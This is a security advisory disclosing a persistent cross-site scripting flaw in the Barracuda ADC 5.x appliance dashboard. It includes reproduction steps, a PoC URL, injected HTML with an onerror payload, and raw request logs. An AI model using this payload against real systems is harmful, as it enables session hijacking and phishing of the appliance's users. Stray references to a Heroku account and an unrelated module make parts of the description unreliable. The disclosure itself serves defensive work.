Barracuda ADC 5.x Cross Site Scripting

`Document Title:  
===============  
Barracuda ADC v5.x - Multiple Persistent Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1424  
  
  
Release Date:  
=============  
2018-07-12  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1424  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
2.000a! - 3.000a!  
  
  
Product & Service Introduction:  
===============================  
Ensure Application Scalability,Performance, and Security. The Barracuda  
Load Balancer ADC is ideal for organizations looking for  
a high-performance, yet cost-effective application delivery and security  
solution. With the broadest range of hardware and virtual  
models, the Barracuda Load Balancer ADC provides maximum flexibility for  
organizations looking to build highly secure and scalable  
application infrastructure, whether itas deployed on-premises or in the  
cloud.  
  
(Copy of the Vendor Homepage:  
https://www.barracuda.com/products/loadbalancer )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered multiple  
persistent input validation web vulnerability in the Barracuda Networks  
ADC v5.2.0.004 appliance web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2018-07-12: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
No authentication (guest)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Bug Bounty Program  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in  
the official Barracuda networks ADC appliance web-application.  
The application-side vulnerability allows remote attackers and  
privileged user accounts to inject malicious script codes to compromise  
the online service web-application.  
  
The application-side input validation web vulnerability is located in  
the `last hour`,`last day` and `last week` time duration value of the  
traffic statistics module. Local low privileged application user account  
can inject malicious script code with persistent attack vector  
to the vulnerable to module. The injection point of the issue is the  
vulnerable rules add module and the execution of the malicious code  
occurs by the restapi (api) in the Dasboard Index module of the  
index.cgi file.  
  
The input form of the appliance web-application are filtered. Even if  
the input is filtered the internal validation does not encode the input  
or restricts the values. Attacker do not need to bypass the filter  
validation because the code executes directly through the main service  
in the dashboard web content.  
  
The security risk of the persistent input validation web vulnerability  
is estimated as medium with a cvss (common vulnerability scoring system)  
count of 3.8. Exploitation of the persistent vulnerability in the  
`invitation to collaborate` module requires a low privileged heroku account  
with low user interaction. Successful exploitation of the vulnerability  
results in session hijacking, persistent phishing attacks, persistent  
redirect to external source and persistent manipulation of affected or  
connected module context.  
  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Traffic - Web Umwandlungen  
  
Vulnerable Parameter(s):  
[+] last hour (input time duration)  
[+] last days (input time duration)  
[+] last week (input time duration)  
  
Affected Module(s):  
[+] Dasboard - Traffic  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by  
remote attackers and local low privileged application user account with  
low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
Manual steps to reproduce the security vulnerability ...  
1. Open the barracuda ADC web-application  
2. Surf to the web traffic > web anwendungen module  
3. Open the add mode to inject a script code as payload or use the edit  
exsiting (payload)  
Note: Inject to the last hours, last date and last week input field  
4. Now surf back to the main dasboard module  
5. The application-side script code execution occurs in the displayed  
time duration values  
6. Successful reproduce of the persistent security vulnerability!  
  
  
Vulnerable Module(s): Dashboard > Traffic Statisktiken  
Request Method(s): POST  
  
  
PoC: Link  
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391  
&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3C[PERSISTENT  
SCRIPT CODE EXECUTION VULNERABILITY!]%3E&realm=  
&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...  
  
  
PoC: Source (Weeks,Days & Hours)  
<tbody><tr class="header-row">  
<th class="first-column">Typ  
</th><th>Letzte Stunde</th>  
<th>Letzter Tag</th>  
<th>Letzte Woche</th>  
</tr>  
<tr class="content-row">  
<td class="first-column">Webanfragen</td>  
<td><a class="clickable"  
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&  
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"  
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION  
VULNERABILITY!]&secondary_tab=access_logs"">5</a></td>  
<td><a class="clickable"  
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&  
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"  
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION  
VULNERABILITY!]&secondary_tab=access_logs"">27</a></td>  
<td><a class="clickable"  
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&  
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"  
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION  
VULNERABILITY!]&secondary_tab=access_logs"">389</a></td>  
</tr>  
<tr class="content-row odd-row">  
<td class="first-column">Verbindungen</td>  
<td>5</td>  
<td>43</td>  
<td>438</td>  
</tr>  
</tbody>  
  
Note: The execution of the code occurs in the dasboard next to the  
traffic stats module after the code has been injected to the vulnerable  
time duration values. (view pictures!)  
  
  
--- PoC Session Logs [GET] (Execution) ---  
Status: 200[OK]  
GET  
http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi?password=f38e497b0e70d249e8399dc0e0850898&et=1422210471&auth_type=Local&half_width=&locale=de_DE&realm=&screen_name=gslb_regions&user=guest  
  
Load Flags[LOAD_BACKGROUND ] GrAPAe des Inhalts[-1]  
Mime Type[application/json]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
X-Requested-With[XMLHttpRequest]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[application/json; charset=utf-8]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
Cache-Control[no-cache, no-store, max-age=0]  
X-Frame-Options[SAMEORIGIN]  
-  
GET  
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...  
Mime Type[unbekannt]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
-  
Status: 200[OK]  
GET  
http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422210471&locale=de_DE&password=f38e497b0e70d249e8399dc0e0850898&realm=&user=guest&primary_tab=TRAFFIC%20MANAGEMENT  
  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]  
Content-Length[57595]  
Pragma[no-cache]  
X-Frame-Options[SAMEORIGIN]  
-  
Status: 200[OK]  
GET  
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...  
  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]  
Content-Length[112822]  
Pragma[no-cache]  
X-Frame-Options[SAMEORIGIN]  
  
  
Reference(s):  
http://adc.localhost:8080/  
http://adc.localhost:8080/cgi-mod/index.cgi  
http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the  
vulnerable last hour, last day and last week input field values.  
Restrict the input and disallow special chars. Filter the context of the  
values to prevent an execution of script code and implement  
a secure valudatuib mechanism to the broken output in the dashboard service.  
  
Note: The issue was reported in 2016 to the barracuda networks developer  
team. The issue was finally resolved in 2017 Q1 - Q4.  
The disclosure process took about 1 year to complete by recognizing the  
patch cycle.  
  
  
Security Risk:  
==============  
The security risk of the persistent input validation web vulnerability  
in the barracuda networks adc appliance web-application is estimated as  
medium.  
  
  
  
Credits & Authors:  
==================  
Benjamin K.M. (Vulnerability Laboratory Core Research Team) -  
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
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=========================  
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